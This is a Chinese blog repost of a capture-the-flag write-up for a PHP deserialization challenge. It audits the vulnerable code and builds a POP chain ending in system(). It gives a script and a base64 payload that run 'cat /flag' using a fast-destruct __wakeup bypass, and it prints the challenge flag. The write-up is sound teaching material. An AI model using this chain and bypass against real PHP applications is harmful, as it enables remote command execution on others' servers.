[SWPUCTF 2023 秋季新生赛]UnS3rialize

2024-08-22 23:12

本文主要是介绍[SWPUCTF 2023 秋季新生赛]UnS3rialize,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

[SWPUCTF 2023 秋季新生赛]UnS3rialize

点开之后得到一串php代码:

 <?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{public $cmd;function __invoke(){echo "Congratulations!!!You have learned to construct a POP chain<br/>";system($this->cmd);}function __wakeup(){echo "W4keup!!!<br/>";$this->cmd = "echo Welcome to NSSCTF";}
}class C
{public $whoami;function __get($argv){echo "what do you want?";$want = $this->whoami;return $want();}
}class T
{public $sth;function __toString(){echo "Now you know how to use __toString<br/>There is more than one way to trigger";return $this->sth->var;}
}class F
{public $user = "nss";public $passwd = "ctf";public $notes;function __construct($user, $passwd){$this->user = $user;$this->passwd = $passwd;}function __destruct(){if ($this->user === "SWPU" && $this->passwd === "NSS") {echo "Now you know how to use __construct<br/>";echo "your notes".$this->notes;}else{die("N0!");}}
}if (isset($_GET['ser'])) {$ser = unserialize(base64_decode($_GET['ser']));
} else {echo "Let's do some deserialization :)";
}
Let's do some deserialization :)

首先审计这段代码。

这段 PHP 代码定义了四个类(NSS、C、T、F),并通过判断是否有特定的 GET 参数来进行反序列化操作。整体功能似乎是通过反序列化用户传入的数据来执行一系列操作,包括输出特定信息和可能执行系统命令,同时也存在一些条件判断以控制输出结果。

以下是对代码的详细解读:

 <?php
highlight_file(__FILE__);这个函数会高亮显示当前文
件的代码,通常在调试或展示代码时使用,但在生产环境中
一般不应该使用,因为它可能会暴露敏感信息。
error_reporting(0);    关闭了 PHP 的错误报告。这
在某些情况下可能会隐藏潜在的问题,不利于调试和发现错误。
class NSS  定义了一个名为NSS的类。
{public $cmd;声明了一个公共属性cmd,可以从外部直接访问和修改。function __invoke()  __invoke()魔术方法:当对象被当作函数调用时会触发这个方法。它会输出一段文本,然后使用system()函数执行$this->cmd所存储的命令。这可能存在安全风险,如果cmd的值被恶意控制,可能会导致命令执行漏洞。{echo "Congratulations!!!You have learned to construct a POP chain<br/>";system($this->cmd);}function __wakeup()  __wakeup()魔术方法:在对象被反序列化时会触发这个方法。它会输出一段文本,并将cmd属性设置为固定的字符串。{echo "W4keup!!!<br/>";$this->cmd = "echo Welcome to NSSCTF";}
}
class C  定义了一个名为C的类。
{public $whoami;公共属性。function __get($argv)__get()魔术方法:当尝试访问一个不存在的属性时会触发这个方法。它会输出一段文本,然后尝试获取whoami属性的值并返回。如果whoami是一个可调用的对象,那么会调用它并返回结果,这也可能存在安全风险。{echo "what do you want?";$want = $this->whoami;return $want();}
}
class T   定义了一个名为T的类
{public $sth;  公共属性。function __toString()           __toString()魔术方法:当对象被当作字符串使用时会触发这个方法。它会输出一段文本,然后尝试获取$this->sth->var的值并返回。如果sth或者sth->var的值被恶意控制,可能会导致意外的行为。{echo "Now you know how to use __toString<br/>There is more than one way to trigger";return $this->sth->var;}
}
class F  定义了一个名为F的类。
{public $user = "nss";public $passwd = "ctf";  初始化了两个公共属性,分别为用户名和密码。public $notes;  另一个公共属性。function __construct($user, $passwd) __construct()构造方法:接受两个参数并将其分别赋值给user和passwd属性。{$this->user = $user;$this->passwd = $passwd;}function __destruct()        __destruct()析构方法:当对象被销毁时会触发这个方法。它会检查user和passwd是否分别为特定的值,如果是,则输出一些文本并显示notes属性的值,否则输出错误信息并终止程序。{if ($this->user === "SWPU" && $this->passwd === "NSS") {echo "Now you know how to use __construct<br/>";echo "your notes".$this->notes;}else{die("N0!");}}
}if (isset($_GET['ser'])) {$ser = unserialize(base64_decode($_GET['ser']));
} else {echo "Let's do some deserialization :)";
}检查是否存在$_GET['ser']参数。如果存在,先对其进行base64 解码,然后反序列化得到的结果赋值给$ser变量。如果不存在这个参数,则输出提示信息。这里的反序列化操作如果传入的参数被恶意构造,可能会导致安全问题,例如对象注入攻击。
Let's do some deserialization :)

从后往前推,出口是NSS.__invoke()的命令执行
调用此方法往前推到C.__get()
然后就是访问不存在属性,往前推到T.__toString()
再往前推到F.__destruct()
pop链梳理完再看看wakeup的绕过,用的fast-destruct

然后我们构造pop链:

F.__destruct() --> T.__toString() --> C.__get() --> NSS.__invoke()

编写如下脚本:

<?php
highlight_file(__FILE__);
class NSS
{public $cmd='cat /flag';
} 
class T
{public $sth;
}class C
{public $whoami;
} 
class F
{public $user = "nss";public $passwd = "ctf";public $notes;
}$a=new F();
$b=new T();
$c=new C();
$d=new NSS();
$a->user='SWPU';
$a->passwd='NSS';
$a->notes=$b;
$b->sth=$c;
$c->whoami=$d;
$remove=substr(serialize($a), 0, -1); //去掉最后一个花括号
echo base64_encode($remove);

运行之后得到:
在这里插入图片描述得到了一串编码:

TzoxOiJGIjozOntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6OToiY2F0IC9mbGFnIjt9fX0=

然后我们构造payload:

?ser=TzoxOiJGIjozOntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6OToiY2F0IC9mbGFnIjt9fX0=

接着我们打开HackBar运行一下得到flag:
在这里插入图片描述由此得到本题flag:
NSSCTF{ebc6b78c-cbc4-488e-914c-6f062ad94509}

这篇关于[SWPUCTF 2023 秋季新生赛]UnS3rialize的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1097668

相关文章

CSP 2023 提高级第一轮 CSP-S 2023初试题 完善程序第二题解析 未完

一、题目阅读 (最大值之和)给定整数序列 a0,⋯,an−1,求该序列所有非空连续子序列的最大值之和。上述参数满足 1≤n≤105 和 1≤ai≤108。 一个序列的非空连续子序列可以用两个下标 ll 和 rr(其中0≤l≤r<n0≤l≤r<n)表示,对应的序列为 al,al+1,⋯,ar​。两个非空连续子序列不同,当且仅当下标不同。 例如,当原序列为 [1,2,1,2] 时,要计算子序列 [

HNU-2023电路与电子学-实验3

写在前面: 一、实验目的 1.了解简易模型机的内部结构和工作原理。 2.分析模型机的功能,设计 8 重 3-1 多路复用器。 3.分析模型机的功能,设计 8 重 2-1 多路复用器。 4.分析模型机的工作原理,设计模型机控制信号产生逻辑。 二、实验内容 1.用 VERILOG 语言设计模型机的 8 重 3-1 多路复用器; 2.用 VERILOG 语言设计模型机的 8 重 2-1 多

[SWPUCTF 2021 新生赛]web方向(一到六题) 解题思路,实操解析,解题软件使用,解题方法教程

题目来源 NSSCTF | 在线CTF平台因为热爱,所以长远!NSSCTF平台秉承着开放、自由、共享的精神,欢迎每一个CTFer使用。https://www.nssctf.cn/problem   [SWPUCTF 2021 新生赛]gift_F12 这个题目简单打开后是一个网页  我们一般按F12或者是右键查看源代码。接着我们点击ctrl+f后快速查找,根据题目给的格式我们搜索c

2023 CCPC(秦皇岛)现场(第二届环球杯.第 2 阶段:秦皇岛)部分题解

所有题目链接:Dashboard - The 2023 CCPC (Qinhuangdao) Onsite (The 2nd Universal Cup. Stage 9: Qinhuangdao) - Codeforces 中文题面: contest-37054-zh.pdf (codeforces.com) G. Path 链接: Problem - G - Codeforces

哈理工新生赛热身赛解题报告

本次热身赛6道题目,由于没有官方解题报告,自己写了一个山寨版的解题报告,希望对学弟学妹有所帮助 期中两到签到题该校OJ上没有挂出,我在田大神的帮助下a掉了其它四题,解题报告如下所示 线段 Time Limit: 1000 MSMemory Limit: 32768 K Total Submit: 10(6 users)Total Accepted: 7(6 users)Rating: S

LeetCode560. 和为 K 的子数组(2024秋季每日一题 12)

给你一个整数数组 n u m s nums nums 和一个整数 k k k ,请你统计并返回 该数组中和为 k k k 的子数组的个数 。 子数组是数组中元素的连续非空序列。 示例 1: 输入:nums = [1,1,1], k = 2 输出:2 示例 2: 输入:nums = [1,2,3], k = 3 输出:2 提示: 1 < = n u m s . l

HNU-2023电路与电子学-实验1

写在前面: 这是电路与电子学课程的第一次实验,按照指导书的需求在Multisim软件搭建一个电路传感器模型,难度较小,细心完成就没有问题。 小tips:22级实验是采用上传到测试平台来进行功能检测,如果不通过则会打回修改后再重新提交,(我们那时候的评测系统特别特别慢,一次只能测一个同学,剩下同学就排队等着,久的时候甚至超过10个小时),这里列举一个常见的错误:热噪声有+号这端需要连接有源滤波器

【python】—— Python爬虫实战:爬取珠海市2011-2023年天气数据并保存为CSV文件

目录 目标 准备工作 爬取数据的开始时间和结束时间 爬取数据并解析 将数据转换为DataFrame并保存为CSV文件         本文将介绍如何使用Python编写一个简单的爬虫程序,以爬取珠海市2011年至2023年的天气数据,并将这些数据保存为CSV文件。我们将涉及到以下知识点: 使用requests库发送HTTP请求使用lxml库解析HTML文档使用dateti

LeetCode438. 找到字符串中所有字母异位词(2024秋季每日一题 11)

给定两个字符串 s 和 p,找到 s 中所有 p 的 异位词 的子串,返回这些子串的起始索引。不考虑答案输出的顺序。 异位词 指由相同字母重排列形成的字符串(包括相同的字符串)。 示例 1: 输入: s = “cbaebabacd”, p = “abc” 输出: [0,6] 解释: 起始索引等于 0 的子串是 “cba”, 它是 “abc” 的异位词。 起始索引等于 6 的子串是

Acrobat Pro DC 2023 for Mac/Win:全能型PDF编辑器深度解析

Adobe Acrobat Pro DC 2023作为一款跨平台的PDF编辑器,无论是对于Mac还是Windows用户,都提供了极为全面且强大的PDF处理功能。该软件凭借其卓越的性能和丰富的特性,成为了全球范围内用户处理PDF文档的首选工具。 一、强大的编辑功能 Acrobat Pro DC 2023内置了多种编辑工具,如文本编辑器、图片替换、页面调整等,使用户能够轻松地对PDF文档进行修改和